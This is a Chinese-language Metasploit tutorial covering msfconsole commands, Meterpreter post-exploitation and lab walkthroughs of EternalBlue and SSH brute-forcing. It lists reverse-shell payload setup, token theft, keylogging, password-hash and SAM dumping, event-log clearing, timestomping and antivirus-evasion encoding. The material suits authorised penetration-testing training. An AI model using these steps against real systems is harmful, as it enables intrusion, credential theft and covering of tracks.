Metasploit Framework(簡稱MSF)是一款功能強大的開源滲透測試工具,廣泛應用于網絡安全領域。它集成了大量的漏洞利用模塊(exploits)、輔助模塊(auxiliary)和載荷(payloads),為安全研究人員和滲透測試者提供了從信息收集到漏洞利用的全流程支持。本教程將詳細介紹MSF的控制臺(MSFconsole)基本命令、使用流程、Meterpreter功能以及實戰案例,幫助讀者快速上手并掌握其核心技巧。
一、MSF概述與安裝
1.1 什么是Metasploit Framework?
Metasploit Framework由H.D. Moore于2003年首次發布,后由Rapid7公司維護。它最初是一個漏洞利用開發框架,現已發展為包含數千個模塊的綜合性滲透測試平臺。MSF支持多種操作系統(如Windows、Linux、macOS),通過命令行界面(MSFconsole)或圖形界面(如Armitage)操作。
MSF的核心組件包括:
- Exploits:漏洞利用模塊,用于攻擊目標系統。
- Payloads:攻擊成功后執行的代碼,如反彈shell。
- Auxiliary:輔助模塊,用于掃描、嗅探等任務。
- Meterpreter:高級后門工具,提供豐富的后滲透功能。
1.2 安裝MSF
在Linux(如Kali Linux)上安裝MSF非常簡單,因為Kali已預裝Metasploit。若需手動安裝,可按以下步驟操作:
- 更新系統:
sudo apt update && sudo apt upgrade -y
- 安裝Metasploit:
sudo apt install metasploit-framework -y
- 初始化數據庫:
msfdb init
- 啟動MSFconsole:
msfconsole
安裝完成后,輸入msfconsole -q
即可進入控制臺界面(-q
:不顯示歡迎信息)。
二、MSFconsole基本命令與使用流程
MSFconsole是MSF的主要交互界面,提供了豐富的命令用于模塊管理、目標配置和攻擊執行。以下是基本命令的詳細說明。
2.1 模塊查看與搜索
- show exploits:顯示所有漏洞利用模塊。
- 示例:輸入
show exploits
,查看可用exploit列表,如windows/smb/ms17_010_eternalblue
。
- 示例:輸入
- show payloads:顯示所有載荷。
- 示例:輸入
show payloads
,列出如windows/meterpreter/reverse_tcp
。
- 示例:輸入
- show auxiliary:顯示所有輔助模塊。
- 示例:輸入
show auxiliary
,查看掃描模塊如auxiliary/scanner/portscan/tcp
。
- 示例:輸入
- search :搜索模塊。
- 示例:
search smb
查找與SMB相關的模塊,返回結果帶索引號。
- 示例:
2.2 模塊加載與信息查看
- use :加載指定模塊。
- 示例:
use windows/smb/psexec
加載Psexec模塊。
- 示例:
- use :通過搜索結果的索引號加載模塊。
- 示例:
search smb
后顯示0: windows/smb/psexec
,輸入use 0
。
- 示例:
- info:查看模塊詳細信息。
- 示例:在
use windows/smb/psexec
后輸入info
,顯示描述、選項和參考。
- 示例:在
2.3 參數配置
- set :設置特定參數。
- 示例:
set RHOST 192.168.1.10
設置目標IP。
- 示例:
- setg :全局設置參數。
- 示例:
setg LHOST 192.168.1.100
全局設置本地IP。
- 示例:
- show options:顯示模塊選項。
- 示例:輸入后查看
RHOST
、LHOST
等是否正確配置。
- 示例:輸入后查看
- show targets:顯示支持的目標類型。
- 示例:列出目標操作系統版本。
- set target :指定目標類型。
- 示例:
set target 1
選擇Windows 7 SP1。
- 示例:
- set payload :設置載荷。
- 示例:
set payload windows/meterpreter/reverse_tcp
。
- 示例:
- set payload :通過索引設置載荷。
- 示例:
show payloads
后用set payload 0
。
- 示例:
2.4 執行與管理
- check:檢查目標是否易受攻擊。
- 示例:
check
返回“Target is vulnerable”或“Not vulnerable”。
- 示例:
- exploit:執行攻擊。
- 示例:
exploit
啟動漏洞利用。
- 示例:
- exploit -j:后臺運行攻擊。
- 示例:
exploit -j
后可用sessions -l
查看會話。
- 示例:
- exploit -z:成功后不交互。
- 示例:適合自動化腳本。
- exploit -e :指定編碼器。
- 示例:
exploit -e shikata_ga_nai
繞過殺軟。
- 示例:
- sessions -l:列出會話。
- 示例:顯示所有Meterpreter或shell會話。
- sessions -i :進入指定會話。
- 示例:
sessions -i 1
進入會話1。
- 示例:
2.5 使用流程示例
- 啟動MSFconsole:
msfconsole
。 - 搜索模塊:
search eternalblue
。 - 加載模塊:
use exploit/windows/smb/ms17_010_eternalblue
。 - 查看選項:
show options
。 - 設置參數:
set RHOST 192.168.1.10 set LHOST 192.168.1.100 set payload windows/meterpreter/reverse_tcp
- 檢查漏洞:
check
。 - 執行攻擊:
exploit
。 - 查看會話:
sessions -l
。
三、Meterpreter高級功能
Meterpreter是MSF的標志性后門工具,提供強大的后滲透能力。成功利用漏洞后,可通過Meterpreter控制目標系統。
3.1 基本命令
- help:顯示幫助信息。
- sysinfo:查看系統信息。
- 示例:返回“OS: Windows 10, Architecture: x64”。
- ps:列出進程。
- 示例:顯示PID、進程名和用戶。
- migrate :遷移到指定進程。
- 示例:
migrate 1234
遷移到 explorer.exe。
- 示例:
- shell:進入交互式shell。
- 示例:運行
cmd.exe
。
- 示例:運行
3.2 權限提升與偽裝
- getsystem:嘗試提權至SYSTEM。
- 示例:成功后擁有最高權限。
- use incognito:加載偽裝模塊。
- list_tokens -u:列出用戶令牌。
- impersonate_token <DOMAIN\USER>:偽裝為指定用戶。
- 示例:
impersonate_token "DOMAIN\Admin"
。
- 示例:
- steal_token :竊取進程令牌。
3.3 文件與鍵盤操作
- upload :上傳文件。
- 示例:
upload /tmp/malware.exe C:\Windows\Temp
。
- 示例:
- download :下載文件。
- 示例:
download C:\Users\user\secret.txt
。
- 示例:
- keyscan_start:開始鍵盤記錄。
- keyscan_dump:導出記錄。
- keyscan_stop:停止記錄。
3.4 系統管理
- hashdump:導出密碼哈希。
- 示例:獲取SAM數據庫中的NTLM哈希。
- clearev:清除事件日志。
- timestomp:修改文件時間戳。
- 示例:
timestomp C:\file.txt -z
抹除痕跡。
- 示例:
- reboot:重啟目標。
3.5 網絡嗅探
- use sniffer:加載嗅探模塊。
- sniffer_interfaces:列出網絡接口。
- sniffer_start :開始嗅探。
- 示例:
sniffer_start 1
捕獲數據包。
- 示例:
四、數據庫與輔助功能
4.1 數據庫操作
MSF支持數據庫存儲掃描結果,提升效率。
- db_create :創建數據庫。
- 示例:
db_create mydb
。
- 示例:
- db_connect :連接數據庫。
- 示例:
db_connect mydb
。
- 示例:
- db_nmap:運行Nmap并保存結果。
- 示例:
db_nmap -sT -v 192.168.1.0/24
。
- 示例:
- db_destroy:刪除數據庫。
- 示例:
db_destroy mydb
。
- 示例:
4.2 輔助模塊
輔助模塊用于信息收集、掃描等任務。
- 示例:端口掃描
use auxiliary/scanner/portscan/tcp set RHOSTS 192.168.1.0/24 set PORTS 1-1000 run
五、實戰案例
5.1 EternalBlue漏洞利用
場景:攻擊Windows 7目標(IP: 192.168.1.10)。
- 啟動MSFconsole。
- 加載模塊:
use exploit/windows/smb/ms17_010_eternalblue
。 - 配置參數:
set RHOST 192.168.1.10 set LHOST 192.168.1.100 set payload windows/meterpreter/reverse_tcp
- 檢查:
check
(返回“Vulnerable”)。 - 執行:
exploit
。 - 進入Meterpreter:
sessions -i 1
。 - 提權:
getsystem
。 - 下載文件:
download C:\Windows\system32\config\SAM
。
5.2 弱密碼爆破
場景:爆破SSH服務(IP: 192.168.1.20)。
- 加載模塊:
use auxiliary/scanner/ssh/ssh_login
。 - 配置:
set RHOSTS 192.168.1.20 set USERNAME root set PASS_FILE /usr/share/wordlists/rockyou.txt
- 運行:
run
。 - 成功后進入會話:
sessions -i 1
。
六、使用技巧與注意事項
6.1 優化技巧
- 后臺運行:用
exploit -j
和sessions -l
管理多目標。 - 自動化腳本:設置
set autorunscript migrate -f
自動遷移進程。 - 編碼繞過:用
exploit -e shikata_ga_nai
躲避檢測。
6.2 注意事項
- 合法性:僅在授權環境下使用MSF。
- 穩定性:避免過多線程(如
-t 1000
)導致目標崩潰。 - 更新:定期運行
msfupdate
更新模塊。
七、總結
Metasploit Framework以其強大的模塊化和靈活性,成為滲透測試的必備工具。通過本教程,你已掌握MSFconsole的基本命令、Meterpreter功能和實戰應用。無論是漏洞利用還是后滲透操作,MSF都能提供高效支持。建議讀者結合靶場(如Hack The Box)反復實踐,提升技能。